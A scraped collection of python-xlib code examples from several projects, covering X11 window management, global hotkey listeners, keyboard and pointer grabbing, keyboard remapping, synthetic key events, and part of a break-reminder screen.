                    if focused_win_id == window.id:
                        print("FOCUSED %r" % window.id)
                        return True
                    # many times it's needed to repeat the command, esp. when mouse is
                    # not inside the target window
                    self.display.set_input_focus(window, X.RevertToParent,
                                                 X.CurrentTime)
                    self.flush()
                    #self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime)
                    #self.display.flush()
            return False

    def get_desktop_for_window(self, window):
        pv = self.get_prop(window, "_NET_WM_DESKTOP")
        if pv:
            return pv[0]

    def set_desktop_for_window(self, window, desktop):
        if desktop is None:
            return
        name = self.atom("_NET_WM_DESKTOP", only_if_exists=True)
        if name in self.supported_properties:
            pv = self.set_prop(window, name, Xatom.CARDINAL,
                               array('I', [desktop]))

    def save_state(self):
        state = {
            "Current Desktop": self.current_desktop(),
            "Active Window": self.active_window(id_only=True),
            "Focused Window": self.get_focused_window()
        }
        return state

    def restore_state(self, state):
        a = self.supported_properties
        self.current_desktop(state["Current Desktop"])
        self.flush()
        try:
            self.set_focused_window(state["Focused Window"])
        except error.BadWindow:
            print("Sorry, the old focused window went away...")
        # self.active_window(state["Active Window"])

    def keysym_to_string(self, keysym, friendly=False, very_friendly=False):
        if keysym not in self.keysyms.keysyms:
            return chr(keysym)
        if very_friendly:
            return self.keysyms.friendly_name(keysym, simplest=True)
        if friendly:
            return self.keysyms.friendly_name(keysym, simplest=False)
        else:
            return self.keysyms[keysym]

    def keycode_to_keysym(self, keycode, idx=None):
        if idx is None:
            syms = set()
            for i in range(4):
                keysym = self.display.keycode_to_keysym(keycode, i)
                if keysym:
                    syms.add(keysym)
            return syms
        else:
            return self.display.keycode_to_keysym(event.detail, i)

    def keysym_to_keycode(self, keysym):
        return self.display.keysym_to_keycode(keysym)

    def string_to_keysym(self, s):
        k = self.keysyms[s]
        if not k:
            k = self.keysyms["XK_" + s]
        if k:
            return k
        k = XK.string_to_keysym(s)
        return k
        # allow simpler names, like AudioRaiseVolume?
        # if s.startswith("XF86_"):
        #     s = "XF86" + s[5:]
        #     return XK.string_to_keysym(s)

    def error_handler(self, fn, *args, **kwargs):
        return functools.partial(fn, *args, **kwargs)

    def toggle_frame(self, window, frame=None, wait=1):
        """Set window frame. Value should be True or False for on and off, or None for toggle."""
        # flags - set bit for every iteresting value
        # 0 functions   => integer bits
        # 1 decorations => integer bits
        # 2 input_mode  => enum string or integer
        # 3 status      => integer bits
        #
        # functions:
        # bit    actions offered
        # ---    ---------------
        #  1     all functions
        #  2     resize window
        #  4     move window
        #  8     minimize, to iconify
        # 16     maximize, to full-screen (with a frame still)
        # 32     close window
        #
        # decorations:
        # bit       decorations displayed
        # ---       ---------------------
        #  1        all decorations
        #  2        border around the window
        #  4        resizeh, handles to resize by dragging
        #  8        title bar, showing WM_NAME
        # 16        menu, drop-down menu of the "functions" above
        # 32        minimize button, to iconify
        # 64        maximize button, to full-screen
        #
        # input mode:
        #   string                   integer
        # "modeless"                    0    not modal (the default)
        # "primary_application_modal"   1    modal to its "transient for"
        # "system_modal"                2    modal to the whole display
        # "full_application_modal"      3    modal to the current client
        #
        # status:
        #
        # bit
        #  1    tearoff menu window

        name = self.atom("_MOTIF_WM_HINTS", only_if_exists=True)
        # If does not exist, probably not supported, though should check
        # root for _NET_SUPPORTED list return assert prop != 0 pv =
        pv = self.get_prop(window, name)
        fe = self.get_frame_extents(window)
        if pv and len(pv) == 5:
            hints = array(pv.typecode, pv)
            if frame is None:
                hints[2] = 0 if hints[2] else 1
            elif frame:
                hints[2] = 1
            else:
                hints[2] = 0
        else:
            # reasonable default
            hints = array('I', [2, 0, 0, 0, 0])

        self.set_prop(window, name, name, hints)

        w = Waiter(wait)
        while w.wait():
            pv = self.get_prop(window, name)
            if pv and array(pv.typecode, pv) == hints:
                new_fe = self.get_frame_extents(window)
                # make sure frame extents changed
                # this seems to take a while once the hints change
                if new_fe != fe:
                    break

    def set_opacity(self, window, value):
        """value is a number between 0 and 1"""
        v = int(((1 << 32) - 1) * value)
        self.set_prop(window, "_NET_WM_WINDOW_OPACITY", Xatom.CARDINAL,
                      array('I', [v]))

    def get_opacity(self, window):
        pv = self.get_prop(window, "_NET_WM_WINDOW_OPACITY")
        if pv:
            value = int(pv[0] / ((1 << 32) - 1))
            return value
        return 1

    @property
    def supported_properties(self):
        if self._supported_properties is None:
            self._supported_properties = self.get_prop(self.root,
                                                       "_NET_SUPPORTED") or []
        return self._supported_properties

    def get_window(self, win_id):
        if isinstance(win_id, int):
            return self.display.create_resource_object('window', win_id)
        else:
            return win_id

    def get_client_window(self, window):
        win_id = window.id
        for tlw in self.toplevel_windows():
            for (_, parent, _) in self.window_tree(
                    tlw, filter=lambda w, parent, level: w.id == win_id):
                return tlw
        return None

    def toplevel_windows(self, id_only=False):
        name = self.atom("_NET_CLIENT_LIST", only_if_exists=True)
        if name in self.supported_properties:
            lst = self.get_prop(self.root, name)
            if id_only:
                return lst
            else:
                return list(map(lambda win_id: self.get_window(win_id), lst))
        else:
            print("BELGENGOC")
            if id_only:
                return list(
                    map(lambda w: w.id,
                        self.root.query_tree().children))
            else:
                return list(self.root.query_tree().children)

    def window_tree(self, parent=None, level=1, filter=None):
        if parent is None:
            parent = self.root
            if filter is None or filter(parent, None, 0):
                yield (parent, None, 0)
        for w in parent.query_tree().children:
            if filter is None or filter(w, parent, level):
                yield (w, parent, level)
                yield from self.window_tree(parent=w,
                                            level=level + 1,
                                            filter=filter)

    def close_window(self, window):
        self.send_prop_change_event("_NET_CLOSE_WINDOW", (32, [0, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    # https://specifications.freedesktop.org/wm-spec/wm-spec-1.3.html
    # window  = the respective client window
    # message_type = _NET_WM_STATE
    # format = 32
    # data.l[0] = the action, as listed below
    # data.l[1] = first property to alter
    # data.l[2] = second property to alter
    # data.l[3] = source indication
    #  other data.l[] elements = 0
    # This message allows two prop
    #
    _NET_WM_STATE_REMOVE = 0  # remove/unset property
    _NET_WM_STATE_ADD = 1  #add/set property
    _NET_WM_STATE_TOGGLE = 2  # toggle property

    def set_wm_states(self, window, names, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        values = list()
        for name in names:
            value = self.atom("_NET_WM_STATE_%s" % name.upper())
            values.append(value)
        data = [action, *values]
        while len(data) < 5:
            data.append(0)
        self.send_prop_change_event("_NET_WM_STATE", (32, data),
                                    window=self.get_window(window))

    def set_wm_state(self, window, name, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        value = self.atom("_NET_WM_STATE_%s" % name.upper())
        self.send_prop_change_event("_NET_WM_STATE",
                                    (32, [action, value, 0, 0, 0]),
                                    window=self.get_window(window))

    def below_window(self, window, action=None):
        self.set_wm_state(window, name="below", action=action)

    def fullscreen_window(self, window, action=None):
        self.set_wm_state(window, name="fullscreen", action=action)

    def above_window(self, window, action=None):
        self.set_wm_state(window, name="above", action=action)

    def sticky_window(self, window, action=None):
        self.set_wm_state(window, name="sticky", action=action)

    def skip_pager(self, window, action=None):
        self.set_wm_state(window, name="skip_pager", action=action)

    def skip_taskbar(self, window, action=None):
        self.set_wm_state(window, name="skip_taskbar", action=action)

    def maximize_window(self,
                        window,
                        horizontal=True,
                        vertical=True,
                        action=None):
        if horizontal:
            self.set_wm_state(window, name="maximized_horz", action=action)
        if vertical:
            self.set_wm_state(window, name="maximized_vert", action=action)

    def minimize_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        self.send_prop_change_event("WM_CHANGE_STATE",
                                    (32, [Xutil.IconicState, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    def get_attributes(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_attributes()

    def get_window_type(self, window):
        e = self.get_prop(window, "_NET_WM_WINDOW_TYPE")
        if e is None:
            return None
        type_details = set()
        prefix = "_NET_WM_WINDOW_TYPE_"
        for t in e:
            if not t:
                continue
            s = self.atom_name(t)
            if s.startswith(prefix):
                s = s[len(prefix):]
            type_details.add(s)
        return type_details

    def get_frame_extents(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        e = self.get_prop(window, "_NET_FRAME_EXTENTS")
        if e:
            return self.FrameExtents(*e)
        else:
            return self.FrameExtents(0, 0, 0, 0)

    def get_geometry(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_geometry()

    def set_geometry(self, window, **data):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        if any(map(lambda v: v < 0, data.values())):
            gw = self.get_geometry(window)
            f = self.get_frame_extents(window)
            wa = self.usable_workarea()

            if 'x' in data and data['x'] < 0:
                data['x'] = wa.width - gw.width - (f.left +
                                                   f.right) + data['x'] + 1
            else:
                data['x'] += wa.x
            if 'y' in data and data['y'] < 0:
                data['y'] = wa.height - gw.height - (f.top +
                                                     f.bottom) + data['y'] + 1
            else:
                data['y'] += wa.y
        window.configure(**data)

    def usable_workarea(self):
        a = self.get_prop(self.root, "_NET_WORKAREA")
        if a:
            p = self.current_desktop() * 4
            #return (x, y, width, height)
            return self.Geometry(*a[p:p + 4])
        else:
            r = self.get_geometry(self.root)
            return self.Geometry(0, 0, r.width, r.height)

    def send_key(self, window, keysym, modifiers):
        if isinstance(window, int):
            window = self.get_window(window)
        keycode = self.display.keysym_to_keycode(keysym)
        event = protocol.event.KeyPress(time=X.CurrentTime,
                                        root=self.root,
                                        window=window,
                                        child=X.NONE,
                                        same_screen=True,
                                        root_x=0,
                                        root_y=0,
                                        event_x=0,
                                        event_y=0,
                                        state=modifiers.bitmap,
                                        detail=keycode)
        window.send_event(event, propagate=False)
        event = protocol.event.KeyRelease(
            time=X.CurrentTime,
            root=self.root,
            window=window,
            child=X.NONE,
            same_screen=True,  # same screen as the root window
            root_x=0,
            root_y=0,
            event_x=0,
            event_y=0,
            state=modifiers.bitmap,
            detail=keycode)
        window.send_event(event, propagate=False)

    def show_desktop(self, action=None):
        prop_name = self.atom("_NET_SHOWING_DESKTOP")
        if action is True:
            self.send_prop_change_event(prop_name,
                                        (32, [1, X.CurrentTime, 0, 0, 0]))
        elif action is False:
            self.send_prop_change_event(prop_name,
                                        (32, [0, X.CurrentTime, 0, 0, 0]))
        else:
            pv = self.get_prop(self.root, prop_name)
            new_val = 0 if pv and pv[0] else 1
            self.send_prop_change_event(
                prop_name, (32, [new_val, X.CurrentTime, 0, 0, 0]))

    def flush(self):
        # send all pending events
        self.display.flush()

    def sync(self):
        # flush and make sure everything is handled and processed or rejected by the server
        self.display.sync()

    @property
    def display_count(self):
        res = randr.get_screen_resources(self.root)
        n = 0
        for i in res.outputs:
            o = randr.get_output_info(self.root, i, config_timestamp=0)
            if o.modes:
                # has modes, empty if there's no monitor connected here
                n += 1
        return n
Example #37
0
class KeyboardListener:

	def __init__(self, callback=None, on_error=None):
		self.keys = []
		self.grabbed: List = []
		self.temporary_grab: List = []
		self.on_error = on_error
		self.callback = callback
		# XLib errors are received asynchronously, thus the need for a running state flag
		self.stopped = False

		self.well_thread = threading.Thread(target=self.x_client_loop, daemon=True, name='hotkey well thread')
		self.well_connection = Display()
		self.well_connection.set_error_handler(self._local_display_error_handler)

		self.mod_keys_set = set()
		for mods in self.well_connection.get_modifier_mapping():
			for mod in mods:
				self.mod_keys_set.add(mod)

		self.root: Xlib.display.Window = self.well_connection.screen().root
		self.root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask)

		self.accelerators_root = {'level': 0, 'children': []}
		self.contextual_accelerators = self.accelerators_root

	#
	# API
	#
	def add(self, key):
		self.keys.append(key)

	def start(self):
		for key in self.keys:
			self._bind_to_root(key)
		self.well_thread.start()

	def _bind_to_root(self, key):
		self._bind(key, self.accelerators_root)

	def _bind(self, key: Key, node):
		gdk_key_val, code, mask = parse_accelerator(key.accelerator)
		node['has_children'] = True

		if (code, mask) in node:
			raise Exception('key ({}) already mapped'.format(', '.join(key.accelerator)))

		we = {'code': code, 'mask': mask, 'has_children': False, 'children': [], 'level': node['level'] + 1, 'key': key}
		node[(code, mask)] = we
		node['children'].append(we)

		if we['level'] == 1:
			self._grab_keys(code, mask)
			self.well_connection.sync()
			if self.stopped:
				raise Exception('Unable to bind: {}'.format(', '.join(key.accelerator)))

		for combination in key.combinations:
			self._bind(combination, we)

	def stop(self):
		self.stopped = True
		self.well_connection.close()

	#
	# xlib plugs
	#
	def _local_display_error_handler(self, exception, *args):
		print('Error at local display: {}'.format(exception), file=sys.stderr)
		if not self.stopped:
			self.stopped = True
			self.on_error()

	#
	# Internal API
	#
	def _grab_keys(self, code, mask):
		self.root.grab_key(code, mask, True, X.GrabModeAsync, X.GrabModeAsync)
		self.root.grab_key(code, mask | X.Mod2Mask, True, X.GrabModeAsync, X.GrabModeAsync)
		self.root.grab_key(code, mask | X.LockMask, True, X.GrabModeAsync, X.GrabModeAsync)
		self.root.grab_key(code, mask | X.Mod2Mask | X.LockMask, True, X.GrabModeAsync, X.GrabModeAsync)
		self.grabbed.append((code, mask))

	def _ungrab_keys(self, code, mask):
		self.root.ungrab_key(code, mask)
		self.root.ungrab_key(code, mask | X.Mod2Mask)
		self.root.ungrab_key(code, mask | X.LockMask)
		self.root.ungrab_key(code, mask | X.Mod2Mask | X.LockMask)
		self.grabbed.remove((code, mask))

	#
	# Event handling
	#
	def x_client_loop(self):
		while not self.stopped:
			event = self.well_connection.next_event()

			if event.type == X.KeyPress and event.detail not in self.mod_keys_set:
				self.handle_keypress(event)

	# http://python-xlib.sourceforge.net/doc/html/python-xlib_13.html
	def handle_keypress(self, event: Xlib.protocol.event.KeyPress):
		_wasmapped, keyval, egroup, level, consumed = Gdk.Keymap.get_default().translate_keyboard_state(
			event.detail, Gdk.ModifierType(event.state), 0)

		code = event.detail
		mask = normalize_state(event.state)
		event.keyval = keyval
		event.keymod = Gdk.ModifierType(mask)  # TODO: explain
		key_name = Gdk.keyval_name(event.keyval)
		# print('key: {} wid: {} root_x: {} event_x: {}'.format(key_name, event.window.id, event.root_x, event.event_x))

		if (code, mask) not in self.contextual_accelerators:
			self.reset_key_streak(event.time)

		if (code, mask) in self.contextual_accelerators:

			self.callback(self.contextual_accelerators[(code, mask)]['key'], event)

			if self.contextual_accelerators[(code, mask)]['has_children']:
				self.contextual_accelerators = self.contextual_accelerators[(code, mask)]
				self.root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, event.time)
				self.temporary_grab = True
			else:
				self.reset_key_streak(event.time)

	def reset_key_streak(self, time):
		self.contextual_accelerators = self.accelerators_root
		if self.temporary_grab:
			self.well_connection.ungrab_keyboard(time)
			self.temporary_grab = False
Example #38
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate':(GObject.SIGNAL_RUN_LAST, None,()),
        }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)

        self.keymap = Gdk.Keymap.get_default()
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask)
        self.map_modifiers()

    def map_modifiers(self):
        gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def grab(self):
        Gdk.threads_enter()

        self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch)
        self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self):
        if self.keycode:
            self.root.ungrab_key(self.keycode, X.AnyModifier, self.root)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask+1) if not (x & ~mask)]

    def idle(self):
        Gdk.threads_enter()
        self.emit("activate")
        Gdk.threads_leave()
        return False

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            self.current_event_time = event.time
            if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                modifiers = event.state & self.known_modifiers_mask
                if modifiers == self.modifiers:
                    wait_for_release = True
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            elif event.detail == self.keycode and wait_for_release:
                if event.type == X.KeyRelease:
                    wait_for_release = False
                    GLib.idle_add(self.idle)
                self.display.allow_events(X.AsyncKeyboard, event.time)
            else:
                self.display.allow_events(X.ReplayKeyboard, event.time)

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
#!/usr/bin/python

import time
import subprocess
from Xlib import X
from Xlib.display import Display

display = Display()
root = display.screen().root
root.grab_pointer(True,
        X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
        X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

subprocess.call('xset dpms force off'.split())
time.sleep(1)
display.next_event()
Example #40
0
# Baixo: 116
# Esquerda: 113
# Direita: 114
setas_ref = [111, 116, 113, 114]
setas = ["Cima", "Baixo", "Esquerda", "Direita"]

# Captura de teclado e mouse
display = Display(':0')
root = display.screen().root

root.grab_pointer(True, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, 0, 
                    0, X.CurrentTime)
root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

while True:
    event = display.next_event()
    # Para evitar o erro de mudança de source (e.g. maKey maKey pra teclado)
    try:    
        e = event.detail
    except:
        continue

    # Caso precise verificar numeros de tecla, descomentar a linha abaixo
    #print e

    # Botões
    if e in botoes_ref:
        print botoes[botoes_ref.index(e)] + " clicado."
    # Teclas
    elif e in teclas_ref:
        if isinstance(event, KeyPress):
Example #41
0
class KeyTools:
    KEY_PRESS = X.KeyPress
    KEY_RELEASE = X.KeyRelease
    def __init__(self):
        self._xdisplay = Display()
        self._xroot = self._xdisplay.screen().root
        self._clipboard = gtk.clipboard_get()
        self._clipPrimay = gtk.clipboard_get("PRIMARY")
        self._entryForPaste = 118, X.ShiftMask
        self._group = 0
        self.loadModifiers()
        self._keymap = gdk.keymap_get_default()  # @UndefinedVariable
        
    def loadModifiers(self):
        self._modifiers = []
        self._modifierList = []
        for key in self._xdisplay.get_modifier_mapping():
            li = [k for k in key if k]
            #for altgr key
            if 92 in li:
                li.append(108)
            self._modifierList += li
            self._modifiers.append(li)
    
    
    def filterGroup(self, entries):
        if entries:
            return [e for e in entries if e[-2] == self._group]
        return []
    
    
    def remapKey(self, keycode, keysyms):
        allKeysyms = list(self._xdisplay.get_keyboard_mapping(keycode, 1)[0])
        keysyms = keysyms + [0]*(4 - len(keysyms))
        allKeysyms[:2] = keysyms[:2]
        allKeysyms[4:6] = keysyms[2:]
        self._xdisplay.change_keyboard_mapping(keycode, [allKeysyms])
        self._xdisplay.sync()
    
    
    
    def resetMapping(self):
        try:
            process = Popen('setxkbmap -print -verbose 7'.split(), stdout=PIPE, stderr=PIPE)
        except OSError:
            print 'install setxkbmap'
        
        for line in process.stderr:
            print 'setxkbmap error: {}'.format(line)
        
        layout = variant = ''
        
        for line in process.stdout:
            line = line.rstrip()
            if line == '':
                break
            
            if line.startswith('layout:'):
                layout = line.split()[1]
            elif line.startswith('variant:'):
                variant = line.split()[1]
                break
                
        command = ['setxkbmap']
        if layout:
            command += ['-layout', layout]
                   
        if variant:
            command += ['-variant', variant]
        if layout or command:
            try:
                process = Popen(command, stdout=PIPE, stderr=PIPE)
            except OSError:
                print 'install setxkbmap'
                
            for line in process.stderr:
                print 'setxkbmap error: {}'.format(line)
    
    def isModifier(self, keycode):
        return keycode in self._modifierList
    
    def getModMask(self, keycode):
        for i, mods in enumerate(self._modifiers):
            if keycode in mods:
                return 2**i
            
        return 0
    
    def modifiersKeycodeList(self):
        return self._modifierList
    
    def numMask(self):
        return X.Mod2Mask
    
    def keycode2char(self, keycode, mods, group=0):
        char = ''
        name = ''
        info = self._keymap.translate_keyboard_state(keycode, mods, group)
        if info:
            keysym = info[0]
            char = gdk.keyval_to_unicode(keysym)  # @UndefinedVariable
            if char:
                char = unichr(char)
            name = gdk.keyval_name(keysym)  # @UndefinedVariable
            
        return char or '', name or ''
    
    def removeNumLockMask(self, keycode, mod):
        if not self.isKeypadKey(keycode) and mod & X.Mod2Mask:
            return mod ^ X.Mod2Mask
        
        return mod
     
    def entry2keysym(self, keycode, modMask):
        info = self._keymap.translate_keyboard_state(keycode, modMask, self._group)
        if info:
            return info[0]
        
        return None
        
    def entry2name(self, keycode, modMask):
        keysym = self.entry2keysym(keycode, modMask)
        if keysym is not None:
            return gdk.keyval_name(keysym)  # @UndefinedVariable
        
        return None
    
    def keycode2entries(self, keycode):
        return self.filterGroup(self._keymap.get_entries_for_keycode(keycode))
    
    def keysym2entry(self, keysym):
        if not keysym:
            return None
        
        infos = self._keymap.get_entries_for_keyval(keysym)  # @UndefinedVariable
        if infos:
            for info in infos:
                keycode, group, level = info
                if group == self._group:
                    if level < len(LEVEL_MOD):
                        mod = LEVEL_MOD[level]
                        return keycode, mod
            
        return None
    
    def keysym2deadEntries(self, keysym):
        resp = ()
        entry = self.keysym2entry(keysym)
        if entry:
            keycode, mod = entry
            resp = ((keycode, mod), )
            
        if not resp:
            deadKeys = self.findWithDeadKey(keysym)
            if deadKeys:
                keyKeysym, deadKeysym = deadKeys
                keyKeycodes = self.keysym2entry(keyKeysym)
                deadKeycodes = self.keysym2entry(deadKeysym)
                if keyKeycodes and deadKeycodes:
                    keyKeycode, keyMod = keyKeycodes
                    deadKeycode, deadMod = deadKeycodes
                    resp = ((deadKeycode, deadMod), (keyKeycode, keyMod))
              
        return resp
        
    
    def keycode2charsAndNames(self, keycode):
        entries = self.keycode2entries(keycode)
        chars = []
        names = []
        for entry in entries:
            chars.append(keysym2char(entry[0]))
            names.append(keysym2name(entry[0]))
            if len(chars) >= 4:
                break
        
        while not names[-1]:
            chars.pop(-1)
            names.pop(-1)
        return chars, names
    
    def keycode2keysyms(self, keycode):
        entries = self.keycode2entries(keycode)
        return [e[0] for e in entries][:4]
                
    def char2entries(self, char):
        keysym = gdk.unicode_to_keyval(ord(char))  # @UndefinedVariable
        if keysym:
            return self.keysym2deadEntries(keysym)
        
        return ()
    
    def findWithDeadKey(self, keysym):
        name = gdk.keyval_name(keysym)  # @UndefinedVariable
        for deadName in DEAD_KEYS:
            if name.endswith(deadName):
                keyName = name[:-len(deadName)]
                deadName = {'ring': 'abovering', 
                           'schwa': 'small_schwa', 
                           'SCHWA': 'capital_schwa'}.get(deadName, deadName)
                deadName = 'dead_' + deadName
                keyKeysym = gdk.keyval_from_name(keyName)  # @UndefinedVariable
                deadSym = gdk.keyval_from_name(deadName)  # @UndefinedVariable
                return keyKeysym, deadSym
        return None
            
    
    def isKeypadKey(self, keycode):
        entry = self._keymap.get_entries_for_keycode(keycode)
        if entry:
            for info in entry:
                if info[2] == self._group:
                    name = gdk.keyval_name(info[0])  # @UndefinedVariable
                    if name and name.startswith('KP_'):
                        return True
                    
        return False
    
        
    def grabKey(self, keycode, modMask):
        self._xroot.grab_key(keycode, modMask, 0, X.GrabModeAsync, X.GrabModeAsync)
        if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask:
            self._xroot.grab_key(keycode, modMask | X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync)
            
    def ungrabKey(self, keycode, modMask):
        self._xroot.ungrab_key(keycode, modMask)
        if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask:
            self._xroot.ungrab_key(keycode, modMask | X.Mod2Mask)
    
    def nextKeyEvent(self, typ=KEY_PRESS):
        if isinstance(typ, int):
            typ = (typ,)
        num = self._xdisplay.pending_events()
        if num:
            for _ in range(num):
                event = self._xdisplay.next_event()
                if event.type in typ:
                    return keyEvent(event.type, event.detail, event.state)
                self._xdisplay.allow_events(X.AsyncKeyboard, X.CurrentTime)
        return None

    
    def slotClipboard(self, clipboard, text, backup):
        self.sendEntry(*self._entryForPaste)
        t = Timer(0.1, self.restoreClipboard, (backup,))
        t.start()
        
        
    def restoreClipboard(self, backup):
        self._clipboard.request_text(lambda a, b, c: None)
        if backup:
            self._clipboard.set_text(backup or '')
            self._clipPrimay.clear()
            self._clipboard.store()
     
    def sendText(self, text):
        backup = self._clipboard.wait_for_text()
        self._clipboard.set_text(text)
        self._clipPrimay.set_text(text)
        self._clipboard.request_text(self.slotClipboard, backup)
        self._clipboard.store()
        self._clipPrimay.store()
                
    def sendKeysym(self, keysym):
        entries = self.keysym2deadEntries(keysym)
        for entry in entries:
            self.sendEntry(*entry)
    
    def sendEntry(self, keycode, mod):
        self.pressKey(keycode, mod)
        self.releaseKey(keycode, mod)
    
    def pressKey(self, keycode, modMask):
        window = self._xdisplay.get_input_focus()._data["focus"]
        evt = Xlib.protocol.event.KeyPress(  # @UndefinedVariable
            time = X.CurrentTime,
            root = self._xroot,
            window = window,
            same_screen = 0, child = Xlib.X.NONE,
            root_x = 0, root_y = 0, event_x = 0, event_y = 0,
            state = modMask,
            detail = keycode
            )
        window.send_event(evt, propagate = True)
        
    def releaseKey(self, keycode, modMask):
        window = self._xdisplay.get_input_focus()._data["focus"]
        evt = Xlib.protocol.event.KeyRelease(  # @UndefinedVariable
            time = X.CurrentTime,
            root = self._xroot,
            window = window,
            same_screen = 0, child = Xlib.X.NONE,
            root_x = 0, root_y = 0, event_x = 0, event_y = 0,
            state = modMask,
            detail = keycode
            )
        window.send_event(evt, propagate = True)
Example #42
0
from Xlib.display import Display
from Xlib.ext import xinput
import fcntl


class Handler:
    def __init__(self, display):
        self.enabled = True
        self.display = display

    def handle(self, event):
        if event.data['detail'] == 76 and event.data['mods']['base_mods'] == 4:
            if self.enabled:
                self.display.grab_server()
            else:
                self.display.ungrab_server()
            self.enabled = not self.enabled


display = Display()
try:
    handler = Handler(display)
    screen = display.screen()
    screen.root.xinput_select_events([
        (xinput.AllDevices, xinput.KeyPressMask),
    ])
    while True:
        event = display.next_event()
        handler.handle(event)
finally:
    display.close()
Example #43
0
class BreakScreen:
    """
    The fullscreen window which prevents users from using the computer.
    This class reads the break_screen.glade and build the user interface.
    """
    def __init__(self, context, on_skip, on_postpone, style_sheet_path):
        self.context = context
        self.count_labels = []
        self.display = Display()
        self.enable_postpone = False
        self.enable_shortcut = False
        self.is_pretified = False
        self.keycode_shortcut_postpone = 65
        self.keycode_shortcut_skip = 9
        self.on_postpone = on_postpone
        self.on_skip = on_skip
        self.shortcut_disable_time = 2
        self.strict_break = False
        self.windows = []

        # Initialize the theme
        css_provider = Gtk.CssProvider()
        css_provider.load_from_path(style_sheet_path)
        Gtk.StyleContext.add_provider_for_screen(
            Gdk.Screen.get_default(), css_provider,
            Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)

    def initialize(self, config):
        """
        Initialize the internal properties from configuration
        """
        logging.info("Initialize the break screen")
        self.enable_postpone = config.get('allow_postpone', False)
        self.keycode_shortcut_postpone = config.get('shortcut_postpone', 65)
        self.keycode_shortcut_skip = config.get('shortcut_skip', 9)
        self.shortcut_disable_time = config.get('shortcut_disable_time', 2)
        self.strict_break = config.get('strict_break', False)

    def skip_break(self):
        """
        Skip the break from the break screen
        """
        logging.info("User skipped the break")
        # Must call on_skip before close to lock screen before closing the break screen
        self.on_skip()
        self.close()

    def postpone_break(self):
        """
        Postpone the break from the break screen
        """
        logging.info("User postponed the break")
        self.on_postpone()
        self.close()

    def on_window_delete(self, *args):
        """
        Window close event handler.
        """
        logging.info("Closing the break screen")
        self.close()

    def on_skip_clicked(self, button):
        """
        Skip button press event handler.
        """
        self.skip_break()

    def on_postpone_clicked(self, button):
        """
        Postpone button press event handler.
        """
        self.postpone_break()

    def show_count_down(self, countdown, seconds):
        """
        Show/update the count down on all screens.
        """
        self.enable_shortcut = self.shortcut_disable_time <= seconds
        mins, secs = divmod(countdown, 60)
        timeformat = '{:02d}:{:02d}'.format(mins, secs)
        GLib.idle_add(lambda: self.__update_count_down(timeformat))

    def show_message(self, break_obj, widget, tray_actions=[]):
        """
        Show the break screen with the given message on all displays.
        """
        message = break_obj.name
        image_path = break_obj.image
        self.enable_shortcut = self.shortcut_disable_time <= 0
        GLib.idle_add(lambda: self.__show_break_screen(message, image_path,
                                                       widget, tray_actions))

    def close(self):
        """
        Hide the break screen from active window and destroy all other windows
        """
        logging.info("Close the break screen(s)")
        self.__release_keyboard()

        # Destroy other windows if exists
        GLib.idle_add(lambda: self.__destroy_all_screens())

    def __tray_action(self, button, tray_action):
        """
        Tray action handler.
        Hides all toolbar buttons for this action and call the action provided by the plugin.
        """
        tray_action.reset()
        tray_action.action()

    def __show_break_screen(self, message, image_path, widget, tray_actions):
        """
        Show an empty break screen on all screens.
        """
        # Lock the keyboard
        utility.start_thread(self.__lock_keyboard)

        screen = Gtk.Window().get_screen()
        no_of_monitors = screen.get_n_monitors()
        logging.info("Show break screens in %d display(s)", no_of_monitors)

